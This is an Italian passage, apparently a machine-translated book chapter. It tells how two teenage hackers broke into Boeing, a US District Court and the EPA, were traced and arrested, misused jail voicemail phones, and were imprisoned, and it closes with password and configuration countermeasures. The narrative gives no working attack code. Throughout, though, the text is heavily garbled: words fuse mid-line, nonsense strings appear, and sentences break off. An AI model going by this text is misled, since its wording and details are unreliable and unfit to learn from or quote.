altre macchine quelle persone avevano accessostiQile spesso avevano tele-
I numeri di telefono per i fornitori di softwareadiri computer della macchina
chiamerebbe. "Una directory primitiva di altri hasie erano la fuori,”
dice Matt. Presto i due hacker sono stati di accadsanche dati di una varieta
delle imprese. "Abbiamo avuto le nostre dita irsanco di posti”, dice Costa.
Non volendo lasciare il seminario, Don chiesto laefax giu quello che
e stato vedere sullo schermo dell'amministratoten@o la trasmissione € arrivato,
Don fu sollevato non riconoscere nessuno dei IDteteluttavia, & stato
perplesso per il fatto che molti di loro hanno coeomto con "giudice”. Poi
lo ha colpito:
Sto pensando, "Oh mio Dio!" Sono entrato in questia piena di
forze dell'ordine e ha detto, "Do you guys ricoresajualsiasi
questi nomi? "Ho letto fuori un elenco dei nomi. Wfficiale federale
ha spiegato, "Sono giudici della Corte Distrettudkegli Stati Uniti a
Seattle. "E io dissi:" Bene, ho un file di passwquil con 26
password cracking. "Quelle ufficiali federali circhventato verde.
Don guardo come un agente dell'FBI aveva lavorafmassato ha fatto un paio di
telefonate.
Egli chiama la Corte Distrettuale degli Stati Unétisi impossessa del sistema



amministratore. Posso davvero sentire questo ragdaf'altra parte del

linea che, "No, nessun modo. Non sei connesseekit

Non possono ottenere i nostri file di password. M@uo che sia il nostro
macchina ". E Rich sta dicendo:" No, e la macchilabiamo

i file delle password ". E questo ragazzo sta amdghNo, non puo accadere.
Le persone non possono entrare nelle nostre maechin
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Don guardo la lista in mano e vide che la passwlordot
parola - la parola d'ordine di livello superiordmeolo agli amministratori di sistema -
era stato incrinato. Indico fuori per Rich.
Rich dice al telefono, "€ la tua password di r@&mvens'?"
Il silenzio guasto sull'altra estremita della lineButti abbiamo sentito era un
"Thunk", dove la testa di questo ragazzo ha colpitavolo.
Mentre tornava in classe, Don percepi una tempéstadetto,
'‘Be’, ragazzi, € il momento per qualche allenameitéoreale on-the-job.
Con parte del tag classe di lungo, Don preparatigoleattaglia. In primo luogo, egli
andato al centro di calcolo di Bellevue dove svana il firewall.
"Abbiamo trovato il conto che era effettivamentegecuzione il programma Crack, la
uno l'aggressore € stato accede dentro e fudindéizzo IP e stato
provenienti da. "
A questo punto, con il loro programma passwordacking esecuzione sul
Boeing computer, i due hacker si erano trasfeeitirasto del Boeing
sistema, "Spider-tessitura" out per accedere caatoh computer Boeing.
Uno dei computer che il sistema Boeing collegatomera nemmeno
a Seattle. In effetti, & stato sulla costa oppd&taondo Costa:
E 'stato uno dei computer del laboratorio Jet Prigjmn a Langley della NASA
Laboratori di ricerca in Virginia, un Cray YMPS5, ordella corona jew-
els.Questo e stato uno dei nostri momenti decisivi.
Tutti i tipi di cose per la mente. Alcuni dei ségpotrebbe fare
me ricchi, o morto, o veramente colpevole.
Le persone al seminario si alternavano a guartidreartimento nel
centro di calcolo. Essi sono stati storditi quaiideam di sicurezza Boeing display
coperte le loro aggressori avevano ottenuto |'accakCray, e Don potrebbe
crederci. "Siamo stati in grado di molto rapidaneeniel giro di un'ora o due,
stabilire che il punto di accesso e dei punti desso al firewall .
Nel frattempo, Ken istituito trappole virtuali didlewall per determinare
quali altri conti gli aggressori avevano violato.
Don suono la compagnia telefonica locale e ha tthidisavere una "trappola e
tracciare "mettere sulle linee modem Boeing chaggjressori stavano usando. Questo
e un metodo che cattura il numero di telefono ehehiamate erano
provenienti da. Il popolo di telefono d'accordozegrsitazione.
"Facevano parte del nostro team e sapevano chéemnaa fare domande.
Questo € uno dei vantaggi di essere in queste sgdatle forze dell'ordine ".
Don messo portatili nei circuiti tra i modem e lagr
ERS, "fondamentalmente per memorizzare tutte laeserg di tasti in un file." Ha anche collegato
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Stampanti Okidata per ogni macchina "per stampadte tio che hanno fatto in tempo reale
tempo. Ho avuto bisogno di prove. Non si puo dis@iton la carta come si puo
con un file elettronico. "Forse non e sorprendsetei pensa
che un gruppo di giurati & piu probabile crederefile elettronico o
documento stampato al molto momento dell'incidente.
Il gruppo e tornato al seminario per qualche oreuinDon delineato
la situazione e le misure difensive adottate. Gdirdi delle forze dell'ordine
sono stati sempre hands-on, I'esperienza postdau@mputer forensics.
"Siamo tornati a fare un po 'piu di lavoro e coldir@ quello che avevamo,
e mentre mi trovavo li con due agenti federalirit partner,
il modem si spegne. Bingo, questi ragazzi € vemytoonnesso al
conto ", ha detto Don.
La societa telefonica locale monitorato Matt e @@sle loro case. |l
squadra osservo gli hacker connessi al firewalltf@asporto
FERRED verso I'Universita di Washington, dove haeffiettuato I'accesso per
Conto di Matt Anderson.
Matt e Costa avevano preso precauzioni che pengaaebbe protetto
loro chiamate vengano rintracciati. Per prima cosace di comporre Boeing
direttamente, stavano chiamando nei computer Dishourt e poi
instradamento di una chiamata da parte della CoB®eing. Hanno capito che "se ci fosse
Ci monitoraggio a Boeing qualcuno, stavano proladite avendo un ruvido
tempo per capire dove la nostra chiamata e statepienti da ", ha detto Costa.
Non avevano idea ogni loro mossa € stata ossesvagistrata come
Matt composto nella Corte, da li a Boeing, e pasfeerito
sul suo conto personale dello studente.
Dato che eravamo cosi nuovo sul [la Corte Distrait)idel sistema e la password
parola e nome utente sono stati "pubblica”, al motoeon ho pensato che
era una minaccia, o venivo pigro. Quella linea ttime2 quello che ha dato
loro la traccia al mio appartamento ed e li chetout
e crollato.
La squadra di Don sembrava la mosca proverbialsaub come Matt ha iniziato lettura
zione I'e-mail sul suo account studente. "In emliaijuesto tipo € tutta questa roba
sui loro exploit di hacker e le risposte da alacker. "
Gli agenti delle forze dell'ordine sono seduti lidere il culo
off, perche 'questi sono fondamentalmente i banasmiganti, non considerando
avevano catturati. E noi stiamo a guardare lorogwtti in tempo reale
prove proprio li nelle nostre mani.
Nel frattempo, Don stava strappando i fogli fuaeila stampante, avendo Tut-
corpo segno come testimone, e quindi di tenuta qmosa. "In meno di sei
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ore dal punto sapevamo di questa intrusione, alib@enavuto questi
ragazzi sulla trasgressione criminale. "
Gestione Boeing non rideva. "Erano spaventatiatal |
ingegno e volevano gli hacker terminati - 'li Scer@dcomputer
e chiudere tutto questo fugmoprio adesso. "Don e stato in grado di convincerli che saeebb
piu saggio aspettare. "Ho detto, 'Non sappiamotijpasti questi ragazzi
hanno ottenuto in. Dobbiamo monitorare loro pepare scoprire che cosa



il diavolo sta succedendo e quello che hanno fé8e. si considera |l

rischio, e stata una notevole testimonianza competprofessionali di Don

che la gestione capitolo.

Sotto sorveglianza

Uno degli ufficiali federali presenti al seminaotienuto mandati per maschiatura

ping Matt e telefoni di Costa. Ma le intercettazierano solo una parte

lo sforzo. A questo punto il governo federale starendendo il caso molto

seriamente. L'azione aveva assunto aspetti dimdiispionaggio o di un thriller:

Agenti dell'FBI sono stati inviati al campus intteaFingendosi studenti, inseguo-

lowed Matt intorno campus, notando le sue aziomiauo che sarebbe poi in grado

a testimoniare che a un certo momento particokia®a usando un particolare computer
nel campus. Altrimenti sarebbe facile affermareofisono stato io - un sacco

di persone usano quel computer ogni giorno. "Ecaesso prima.

Sul lato Boeing, il team di sicurezza ha prescetlgttprecauzioni che potevano

pensare. L'obiettivo non era quello di tenere aragfuori, ma a guardare da vicino, con-
conti- per raccogliere prove, badando che non héettmalcun danno.

Don spiega, "Avevamo tutte le principali punti dgresso dei nostri computer” istituito a
in cui o I'amministratore di sistema o il computarebbe pagina us

e fateci sapere qualche attivita era in corso.pluk# cercapersone divenne

Un grido di "posti di combattimento.” | membri dehm immediatamente notificato select
individui su una lista di chiamate per far loro eagpche gli hacker erano in agguato
nuovo. Piu volte, il gruppo di Don monitorato eleticamente Matt e Costa del

I'attivita attraverso I'Universita di Washingtodove il personale chiave era

stato informato - tutto il percorso attraverso tn&t, da punto a punto. Esso

era come essere a fianco i due come hanno fatbitlaa effettiva.

Don decide di guardarli per altri quattro o cingi@rni, perché "Di principio

mente abbiamo avuto li abbastanza bene contenot stavamo facendo nulla

che considererei estremamente pericoloso, ancheesmano considerevole

accesso in grado e potrebbe avere se volevano. "

Ma Costa presto imparato qualcosa era su:

Una sera la mia ragazza e io eravamo seduti nelapjmartamento

guardare la tv. E 'stata una notte d'estate, arladtra era aperta,

ed e divertente, ma ha guardato fuori ... e nottwau
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parcheggio della Pay & Save. Beh, circa un‘ora ddpd
guardo fuori di nuovo e disse: "C'é una macchinaiduori con i ragazzi in essa
che era la fuori un‘ora fa. "
Costa spento la tv e le luci e comincio a videoldfi
Agenti guardando il suo posto. Poco dopo, ha wisenseconda auto pull up next
al primo. Gli uomini delle due vetture hanno dismgualcosa e poi
entrambi parti.
Il giorno dopo, un gruppo di ufficiali si preserda@asa di Costa. Quando
chiese, hanno riconosciuto che non avevano un nanua Costa
voluto guardare come se stesse collaborando in moddanno sollevato obiezioni ad essere inter-
visti. Lui non ha fatto obiezioni, o, quando gliesero di chiamare Matt e
lui tirare fuori circa le attivita del telefono ddlre, mentre hanno registrato |l
conversazione.
Perché era disposto a chiamare il suo piu caroaearlare loro illegale



attivita con le forze dell'ordine in ascolto? Seiecgil Scherzando intorno uno

sera, giocando una variazione di "What if?" i duevano effettivamente previsto un
situazione in cui potrebbe essere pericoloso péagdiberamente e aveva messo a punto una
codice. Se uno di loro & sceso "nove, dieci" nalaversazione, sarebbe

significa "Pericolo! guardare quello che dici. "(He scelto il numero facile da

ricordo, essendo uno in meno del numero di teletbremergenza, 911)

Quindi, con il telefono sotto controllo e il regtore in esecuzione, Costa composto Matt.
«Ti ho chiamato pochi minuti fa, alle nove e diecnon poteva ottenere attraverso,”
comincio.

Chiusura In

La squadra di sorveglianza Boeing ha ormai scopgrteacker erano

non solo entrare nella Corte Distrettuale deglti&taiti, ma anche in

Environmental Protection Agency. Don Boelling amdalt EPA con

la cattiva notizia. Come lI'amministratore di sisteper la Corte Distrettuale degli Stati Uniti,
I ragazzi EPA erano scettici di qualsiasi violaaatel loro sistema.

Stiamo dicendo loro le loro macchine sono stati gaomessi e per loro

era inconcepibile. Stanno dicendo: "No, no." Miapitato di

portare il file delle password con 10 o 15 passwanacking, e dico

loro la password delllamministratore di rete.

Sono quasi pronto a vomitare, perché si scopretatie sei

macchine centinaio di tutti gli Stati Uniti sondatcati alla

Internet dallo stesso account. E 'stato un privibedj root di sistema

conto e tutti avevano la stessa password.
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Il popolo delle forze dell'ordine presenti al seatio di sicurezza informatica
sono stati sempre molto piu di quanto avevano tdpetPer i ragazzi che
non uscire con noi nel campo, "Don ha detto," ggmino ci torneremo a
l'aula e il dettaglio quello che abbiamo fatto.v@tao diventando una prima mano
conto di tutto quello che stava succedendo coasbc"
Il passato raggiunge
Perché lui e stato colpito con I'abilita che gicker avevano dimostrato, Don
e stato sorpreso di apprendere che avevano appenadsi prima stati in tribunale
su altre spese, con conseguente Costa ricevonka daese a 30 giorni di
rilascio lavoro.
Eppure qui erano di nuovo a infrangere la leggmecee invulnerabile.
Come mai? Costa ha spiegato che lui e Matt eramprgioccupati
perché c'era molto di piu per il caso original@etso al procuratori
tori avevano scoperto.
Era una specie di grande palla di neve dove tromarsolo un piccolo pezzo
di ghiaccio. Non sapevano che stavamo facendeficel cellulari, che
non sapeva che avevamo numeri di carta di credibo, sapevano
la portata di cio che ci avevano preso per. Perbtadt ed io abbiamo avuto
gia parlato nostro caso, abbiamo parlato di quedtee siamo stati
andare a dire loro. E cosi avevamo pled fuori asjoeomputer tres-
pass e era solo un po '‘come un "ha-ha" per nost&o stupido.
Sul Notizie
Don stava guidando da Bellevue a struttura Soutttr@ledella Boeing
dove il suo ufficio era quando ha ottenuto unaszo4io avuto notizie KIRO su e tutto



All'improwviso ho sentito questa storia di rottutze due hacker hanno arrestato in
Boeing e c'e un'indagine federale. Sto pensandaojdanti!" "

La storia era stata trapelata da un dipendenta Beking infelice con il

decisione di guardare attivita Matt e Costa di aevdi arrestarli

immediatamente, Don poi scoperto. Don ha corsesuelufficio e ha chiamato

tutti i soggetti coinvolti. "Ho detto, 'Guarda, gt cosa ha rotto! E 'sul

notizie! Dobbiamo fare qualcosaa '. Howard Schmidt era li e di essere

un esperto di scrittura di mandati di perquisizipee i computer, ha fatto un passo in e
li ha aiutati in modo azzeccato -. quindi non caan dubbio al riguardo "

In realta, Don non era troppo sconvolto per la p&rdEravamo abbastanza vicino a
busting loro comunque. Abbiamo avuto un saccoasesdi prove su questi ragazzi. "
Ma sospettava ci fosse ancora di piu che non eratgella luce ancora.

"Ci sono alcune cose che abbiamo pensato che aracame le frodi con carta di credito.
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Piu tardi hanno fatto rimanere intrappolati pergjaePenso che sia stato sei mesi 0 un anno
poi che i servizi segreti li inchiodato. "
Arrestato
Costa sapeva che avrebbe dovuto essere in arma e stato sorpreso dalla
bussare mano pesante sulla sua porta di casalpupe aveva gia visualizzato
posto di quattro quaderni pieni di prove incrimitiaf quel punto
non aveva modo di sapere che, grazie a Don Bogllfiegerali avevano tutti i
prove che avrebbero mai bisogno di condannarlo & Ma
Matt ricorda di aver visto la storia di un breakemmputer a Boeing
in televisione a casa dei suoi genitori. Versode 1
P
M
., C'era un bussare
la porta d'ingresso. E 'stato due agenti dell'EBlintervistato nei DIN
stanza ing per circa due ore, mentre i suoi gardtmmivano al piano di sopra. Matt non ha
voglia di svegliarli. Aveva paura di.
Don Boelling sarebbe andato lungo sull'arrestoateva avere.
Nonostante tutti i suoi buoni collegamenti, che gatato invitato. "Non erano troppo
desiderosi di avere civili andare sul busto reale.
Boeing si € preoccupato di sapere che uno degtignaveva un nome che
abbinato un dipendente di. Matt non era feliceatlere suo padre trascinato in
il disordine. "Da quando papa lavorato a Boeingrddvidiamo lo stesso nome,
in realta é stato interrogato. "Costa si € afftettaprecisare che erano stati
Fare attenzione a non accedere a Boeing utilizzandalelle informazioni del padre di Matt. "Lui
totalmente mantenuto il suo padre fuori dal girma voleva coinvolgerlo da
il get-go, anche prima abbiamo mai pensato chersacestati nei guai. "
Don era un po 'mi scocciava quando l'agente sgeicialarica presso I'FBI del
Sede di Seattle e stato intervistato dopo il casmtto. Uno del televisore
i giornalisti ha chiesto come avevano rintraccetatturato gli hacker. L'agente
risposto qualcosa come: "L'FBI utilizzato procedi@eniche e tecno-
niche troppo complicato per discutere qui. "Dongagn
"Sei pieno di merda! Non hai fatto nienfgdbiamofatto! ™A tutta mento
gruppo dinato era stato coinvolto, persone provenga Boeing ;, da altri com-



imprese; della Corte distrettuale; e da, statddgyge federale locale

agenzie di applicazione. "Questa e stata la priofia ¢he abbia mai fatto nulla
come questo. E 'stato un lavoro di squadra. "

Fortunatamente, Matt e Costa avevano fatto poaimidaonsiderando il poten-
ziale caos che avrebbe inflitto. "Per quanto rigadn realta danneggiare Boeing,
in realta non hanno fatto piu di tanto ", ha riceeiato Don. L'azienda ha ottenuto
off facile ma ha voluto assicurarsi che la leziersata appresa. "Implorarono
colpevole perché in fondo abbiamo dovuto loro mauiritti. Non c'era modo
stavano sfuggendo di questo, "Don ricorda con séaizione.

Ma ancora una volta le spese sono state ridotastguwolta crimine multipla
accuse di essere caduto in "computer trasgressiotiee camminarono con
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un altro schiaffo sul polso: 250 ore di servizi@aomunita e cinque anni
prova senza uso del computer consentito. L'unida pificile era
restituzione: Sono stato ordinato di pagare $ 3).@0maggior parte di Boeing.
Anche se nessuno dei due era ancora minorenrgazieera stato dato un altro
chance.
An End to Good Luck
Non avevano imparato una lezione.
Cogta: Invece di fermarsi del tutto, essendo stupidi emjahe abbiamo
erano, 0 non proprio stupido, ma ingenuo nel fatie non abbiamo fatto
rendiamo conto quanti problemi abbiamo potuto agterin. Non era proprio l'avidita
ma piu glamour di poter avere un telefono cellularesarlo
a volonta.
Matt: Back in quel giorno e stato un grande affare.tBttsun elemento molto sfarzoso
avere.
Ma le interruzioni che Matt e Costa venivano consgigdal penale
sistema giudiziario stavano per finire. E la causa sarebbe per qualsiasi
ragione per cui avrebbe potuto prevedere, matid kel cose, la gelosia.
Costa dice che la sua ragazza di allora pensavardie su di lei con
un‘altra donna. Nulla del genere, dice Costardaignora era "semplicemente
un amico, niente di pit. "Quando lui non avrebineimciato a vederla, Costa
ritiene che la fidanzata ha chiamato le autorita eiferito che "il
Hacker Boeing stanno vendendo computer rubati. "
Quando gli investigatori si presento a casa dinsadre, Costa non era in
ma sua madre era. «Oh, si, vieni dentro”, ha d&tbo che non ci
sarebbe nulla di male.
Non hanno trovato alcuna refurtiva. Questa erainh notizia. La cattiva
notizia € che hanno trovato un pezzo di carta cheaduto a terra e
stato perso a vista sotto il bordo di un tappetodiSesso € un numero di telefono
e alcune cifre che un investigatore rilevati comeeselettronico
numero. Un controllo con la compagnia telefonicaitalato che le informazioni
e stato associato ad un account di cellulare chizaeitilizzato illegalmente.
Costa sentito parlare del raid nella casa di sudrenaha deciso di abbandonare
fuori dalla vista.
Ero in fuga per cinque giorni dal Secret Serviagevano
competente per le frodi telefono cellulare. Erofuggitivo. E cosi io
era in realta il soggiorno a casa di un amico a 8leae che



era effettivamente venire a casa in cerca di melanmacchina
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che stavo guidando era ancora in nome della perseaprece-
neamente di proprieta, quindi non ho farsi prendere
Il quinto o sesto giorno, ho parlato con il mio acato e ho camminato
nell'ufficio del Probation Officer con lui e mi lthsputato.
Sono stato arrestato e portato via.
Esecuzione del Secret Service - che era un pestrdssante.
Matt & stato preso, pure. | due si sono trovaseparato
piani di King County Jail di Seattle.
Jail Phreaking
Questa volta non ci sarebbe stato nessun prodesg@zzi hanno imparato. Una volta che
I'indagine
era stato completato e I'Ufficio del Procuratorglid8tati Uniti ha elaborato i documenti,
la coppia sarebbe andato davanti a un giudice démlper violazione della loro liberta vigilata. No
prova, nessuna possibilita di mettere su una diteegan molte speranze di clemenza.
Nel frattempo si sarebbero ogni essere interrogatettaglio. Sapevano il
trapano: Tenere i cattivi separati e li scattanangio dicono dif-
storie di-.
Matt e Costa hanno scoperto che in prigione, per lmeno, era un luogo piu difficile
di carcere per scontare il tempo. "Contea di carédl peggiore, come nessun altro posto.
Sono stato minacciato da un paio di persone ", dasta. "Ho avuto in un
combattere. Se non abbaiano indietro, allora susttando ottenere masticato. "Matt
ricorda prendere pugni. "Penso che sia stato perchdo avuto fuori
telefono. Quindi, lezione imparata ".
Jail era difficile in un altro modo. Costa ricorda:
[Era] non sapendo cosa era accanto, perche 'ci sianessi in
problemi gia e sapevamo che eravamo nei guai maddepa
paura dell'ignoto piu paura dei detenuti. Hanno epp detto
"Lock 'em up" e non c'era cauzione, nessun legan&ato un federale
tenere.Non avevamo idea di dove stavamo andando da #irecsstati
indefinitamente bloccato.
Carceri hanno generalmente due tipi di telefoieft®mi a pagamento dove conversione
zioni sono monitorate per assicurarsi che i detemart sono tramando qualcosa
telefoni illegali e che si collegano direttameritéJ#icio difensori pubblici cosi
che i detenuti possono parlare con i loro avvocati.
Al carcere di Seattle, le chiamate verso i difengobblici vengono selezionati da un elenco di
codici a due cifre. Matt ha spiegato, "ma se sarta dopo ore, quello che fanno
ottenere? Sei nel loro sistema di posta vocalgadientrare come molti tocco
toni come vuoi. "Ha iniziato ad esplorare il sisteth posta vocale.
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Era in grado di identificare il sistema come Maidiun tipo lui e Costa
erano entrambi molto familiare, e lui programmattaniodo che trasferirebbe
le sue chiamate a una linea esterna. "Ho messn suraero di menu di otto, che il
annuncio vocale automatizzata non richiedere. B@diuto comporre un



numero locale, e un codice a sei cifre che cona@sdea Ii ho potuto chiamare un punto qualsiasi
dove nel mondo. "

Anche se i telefoni sono stati spenti a 8

P

M

., Il pubblico

Linea difensori era sempre rimasto acceso. "Cideraolo giocare con i telefoni

tutta la notte e non c'é nessuno in attesa dezditli perché pensano

sono spenti ", dice Costa. "Pensano solo che gebpaeduto

li con il telefono. Cosi, appena ha funzionato p#eezione. "

Mentre Costa stava scoprendo come fare chiamamesiMatt € anche

utilizzando il telefono sulla propria unita di nofer fare un po 'esplorare il suo
proprio. Egli trova un "numero di ponte in un veiccticlo” di un Pennsylvania tele-
compagnia telefonica, che ha permesso sia di cheasuwaun test compagnia telefonica
numero e parlare tra di loro.

Le due ore passate sui telefoni non monitoratepartra

un'‘altra. "Abbiamo avuto la possibilita di discetérnostro caso prima nostre interviste.
E 'stato a portata di mano, davvero a portata diotiadice Costa. Matt ha aggiunto, "Siamo lieti
display

cuss sempre cio che l'altro lato era stato detitewdmo avere Tut-

cosa confermata. "

Parola diffusa tra i detenuti che i due nuovi ragazano maghi

con i telefoni.

Costa: Ho avuto un po di grasso in la perché altre peesstavano dando

me i loro vassoi per le chiamate telefoniche gitatui

Matt: stavo iniziando a ottenere magro perché ero narvaso

seduto li con tutti i teppisti e non mi piacevaalboro tutto

guelle chiamate.

Seduto in carcere e infrangere la legge per féeéoteate illegali e

pianificare le loro storie nella speranza di ingamen pubblici ministeri. Per qualsiasi
hacker, che & semplicemente divertente. Per Matista, significava rischiare di piu
accuse di essere impilati uno sopra di quelli ¢theaso gia affrontando.

Alla fine, i loro sforzi di collusione non ha aital fatti sono stati impilati

alto contro di loro, e questa volta erano di froemten giudice che non era

andando a consegnare loro un altro schiaffo swlop@rano ogni sen-

tenced per servire "un anno e un giorno" in unatstra federale, con il credito per il tempo
gia scontato nel carcere della contea. Il "giorextta di tempo prigione era di
sostanziale beneficio per loro. In base alle légderali di condanna, che ha fatto

loro diritto a essere rilasciato fino a 54 giorninpa per buona condotta.
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| due sono stati trattenuti senza vincolo per tesine mezzo, poi
pubblicato sulla loro stessa garanzia in una gE$ante di restrizioni fino
il giudice ha deciso su una frase. Don aveva ragioon clemenza stavolta.
Tempo Fare
Matt é stato inviato al Sheridan Camp in OregomtmeeCosta & andato a
Boron Federal Prison Camp in California. "E 'sfaiberale perché lenza
lata le nostre condizioni di liberta vigilata céackcusa federale ", dice Costa.



Tuttavia, questo non era esattamente "periodcciidiper una di esse. Come
Costa ricorda:

Sapevo di avere essa comodi. Questo era un canprgania che aveva un swim-
piscina ming. Nel mezzo del deserto del Mojave echein po belloNoi

non ha avuto un recinto, solo una linea gialla aedhbbia. E 'stato uno di questi
luoghi che, si sa, avevano tre senatori laggiur&le

ragazzo che ha iniziato una famosa catena di rattrin la con me.

Boro era l'ultima istituzione federale con una piace Costa sentito successivamente
che una storia televisiva Barbara Walters avevtapmnell'essere piscina
compilato solo dopo il suo rilascio. Personalmgrusso non capisco spend-

ing soldi dei contribuenti per mettere in una piscfjuando una nuova prigione é
essere costruita, ma non riesco a capire distregges gia esistente.

Alla prigione Sheridan, Matt ha scoperto un altetethuto era un ex

dirigente di Boeing. "Ha messo nei guai per unacBpo di appropriazione indebita
mento o il crimine dei colletti bianchi. "E 'semtwran qualche modo ironico.

Costa e altri detenuti Boron sono stati spessoathceezz'ora

attraverso il deserto in un autobus carcere fumafdee lavori umili nella vicina
Edwards Air Force Base. "Mi hanno messo in un hanghtare dove avevano

un server VAX. Non ero nemmeno dovuto essere viaino computer. "Ha avvertito
il sergente. "Gli ho detto la mia storia e lui ém&g 'Oh, andare avanti.™ Costa

non ha perso tempo acquisire familiarita con il pater militari. "Ero

salire sul IRC ogni giorno e chiacchierando mesta®o rinchiuso. lo

fu il download Doom ad alta velocita. E 'stato ewibile, fantastico! "

A un certo punto Costa € stato assegnato per pulisEnnuncio comunicazioni

van pieno di elettronica sensibile. "Non potevalere che erano let-

ting a fare questo. "

A un certo livello, il loro tempo prigione suonange un'allodola, quasi uno scherzo. Non é stato.
Ogni mese hanno trascorso all'interno era un megedprecata, un mese di
educazione perso, un mese di distanza da parersbe hanno curato circa e
voluto essere con. Ogni mattina un prigionieroianla sua giornata chiedendosi se
0ggi portera a pugni per difendere se stesso wdgpmprieta. Jail e

carcere puo essere terrificante.
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Quello che stanno facendo oggi
Un decennio dopo che sono stati rilasciati, entia®imbrano essere sistemati in piu tra-
zionale vive. Matt sta attualmente lavorando per grande azienda di San Jose
come sviluppatore di applicazioni Java. Costa l@daria compagnia e suoni
piuttosto trafficata, "la creazione di sistemi dingeglianza digitali e audio distribuita
clienti (slimdevices) per le imprese. "Ha trovad@dro che e bene
adatto per; persone annoiato con i loro postithia sarebbero invidioso che egli e, eqli
dice, "godendo ogni minuto."
lo
Nsight
Sembra incredibile nel mondo di oggi che gli hackscora trovano cosi facile
passeggiare in tanti siti web aziendali. Con tigtstorie di effrazioni,
con tutta la preoccupazione per la sicurezza, ealicdto, sicurezza professionale
persone per il personale o di consulenza per éndeigrandi e piccole, é scioccante
che questa coppia di adolescenti erano abbastaieadrovare la loro strada nel



I computer di una corte federale, una grande catehatel, e Boeing Aircraft.

Parte del motivo per cui questo accade, credoeéraiti hacker seguono una
percorso come ho fatto io, spendendo una quarniissiva di tempo conoscere
sistemi informatici, software del sistema operatmmgrammi applicativi,

rete, e cosi via. Essi sono in gran parte auta@idata anche gli uomini in parte
sbranati in un tutoraggio informale ma altamentieafe "condividere la conoscenza”
disposizione. Alcuni malapena di medie hanno mesabbastanza tempo

e acquisito conoscenze sufficienti nel campo cligiglificano per il Bachelor

of Science in Hacking gradi. Se MIT o Cal Techsdiato un tale grado,

So che un bel po 'vorrei candidare per sostereganfie di laurea.

Nessuna meraviglia che molti consulenti di sicuadzanno un passato segreto come un black-hat
Hacker (tra cui piu di una coppia il cui appaionajueste pagine storie).
Compromettere sistemi di sicurezza richiede unqudare tipo di mentalita che

puo pensieroso di analizzare come causare la gaidd sicuro. Chiunque cercando
per entrare nel campo strettamente sulla basepdeagimento in classe richiederebbe
un sacco di esperienza pratica, dal momento chel&iisarebbe in competizione con
consulenti che hanno iniziato la loro formazionenateria all'eta di 8 o 10.

Puo essere doloroso ammetterlo, ma la verita éutti@ella sicurezza

campo ha molto da imparare dagli hacker, che paosseelare la debolezza del
sistema in modi che sono imbarazzanti per ricormesee€ostoso per affrontare.

Essi possono violare la legge nel processo, maugsagn Ser- prezioso

ghiaccio. In realta, molti di sicurezza "professsii sono stati gli hacker in passato.
Alcuni leggere questo e metterlo giu di Kevin Matkjil one-time

hacker, semplicemente difendendo l'attuale germmaaii hacker. Ma la verita e

che molti attacchi degli hacker hanno lo scopas@ioere prezioso debolezza

nesses in sicurezza di una societa. Se I'hackehacausato alcun danno,
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commesso un furto, o lanciato un attacco deniaeofice, ha il com-
azienda soffriva l'attacco, o beneficiato essemdta i affrontare
loro vulnerabilita?
C
OUNTERMEASURES
Garantire la gestione della configurazione correttan processo critico che
non dovrebbe essere ignorato. Anche se si confgurattamente tutto I'hardware e
software al momento dell'installazione e si mamiep-to-date su tutte essen-
patch di sicurezza ziali, configurazione impropréute solo un singolo elemento in grado di creare
una crepa nel muro. Ogni organizzazione dovrebkesayn dura stabilita
Dure per garantire che il personale IT che installauovo hardware
e software, telecomunicazioni e personale chellastai servizi telefonici, sono
accuratamente addestrati e regolarmente ricordatopn testato, per rendere cer-
sicurezza Tain e radicata nel loro pensiero e cotap@nto.
A rischio di sembrare - qui e altrove - come sesti@mo promuovendo
il nostro libro precedent&he Art of Deceptiofwiley Publishing, Inc., 2002) pro-
VIDES un piano per la formazione dei dipendensefisibilizzazione di sicurezza informatica.
Sistemi
e dispositivi di sicurezza devono essere testatigpdi essere messo in produzione.
Sono fermamente convinto che contando solo su padsstatiche dovrebbe essere un pra-
Tice del passato. Una forma piu forte di autentaaz di sicurezza, utilizzando alcuni



tipo di dispositivo fisico, come a tempo simbol@an biometrico affidabile,
dovrebbe essere utilizzato in combinazione conpasaword personale -

cambiato spessoper proteggere i sistemi che trattano e memar&prezioso mazioni
zioni. Utilizzando una forma piu forte di autent@ane non garantisce che

non puo essere violato, ma almeno alza la barra.

Le organizzazioni che continuano a utilizzare lespard statiche solo bisogno di pro-
promemoria o incentivi che incoraggino la formazmde e frequenti

pratiche di password sicure. Politica di passwdiidaee richiede agli utenti di con-
struct password sicure contenenti almeno una eifra simbolo o

carattere misto-case, e di cambiare periodicamente.

Un ulteriore passo necessario rendere certo cipendenti non sono di catering per
"Memoria pigro” scrivendo la password e la publdioae sul loro Mon-

tor o nascondere sotto la tastiera o in un casdetta scrivania - pone alcun rienza
zionali ladro di dati sa guardare prima. Inolteeptatica buona password richiede
non utilizzando la stessa o simile password swpitn sistema.

T
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Facciamo svegliarsi, persone. Modifica delle impoisini di default e con forte password
parole potrebbero fermare il vostro business dresgittime.
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Ma questo non é solo utente stupidita. | produttosioftware non hanno fatto
la sicurezza una priorita maggiore rispetto interapilita e funzionalita. Certo,
hanno messo le linee guida attenta nelle guidéytente e le istruzioni di montaggio
zioni. C'é un vecchio detto che va di ingegnei@uédndo tutto il resto fallisce,
leggere le istruzioni. "Ovviamente, non hai bisognhana laurea in ingegneria
a seguire cosi male regola.
Sarebbe ora che i produttori hanno cominciato eteesaggi a questa perenne
problema. Che ne dite di produttori di hardwarefénsare a partire da
riconoscono che la maggior parte delle persondeggono la documentazione? Come su
fornendo un messaggio di avviso relativo attivarsiturezza o la modifica
le impostazioni di sicurezza predefinite che seaguiando l'utente € l'installazione del
prodotto? Ancora meglio, come di fare cosi la €zra € abilitato
default? Microsoft ha fatto di recente - ma nomfatla fine del 2004, in
I'aggiornamento di sicurezza per Windows XP Prodesd e Home Edition
con la loro versione di "Service Pack 2", in cdiriéwall integrato &
attivata per impostazione predefinita. Perché oie/gosi tanto tempo?
Microsoft e altro sistema operativo produce doveshbere
pensato questo anni fa. Un semplice cambiamente cesto in tutta la
industria potrebbe fare il cyberspazio un po '[¢ur® per tutti noi.
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Capitolo 5
L'Hacker Robin Hood
[Hacking] € sempre stato per me meno sulla tecrialegli piu
la religione.
- Adrian Lamo
H
ACKing € un'abilita. Chiunque puo acquisire quegigita tramite auto-
educazione. A mio parere personale, I'hnacking @&tentreativa -
capire il modo di aggirare la sicurezza in modeligenti, basta
come scasso appassionati cercano di aggirare iamisaai di bloccaggio per
il valore di intrattenimento puro. Gli individui psono incidere senza rompersi
la legge.
La differenza sta se il proprietario ha dato ilrpesso alla
hacker per tentare di infiltrarsi sistemi inforncatiel proprietario. Ci sono
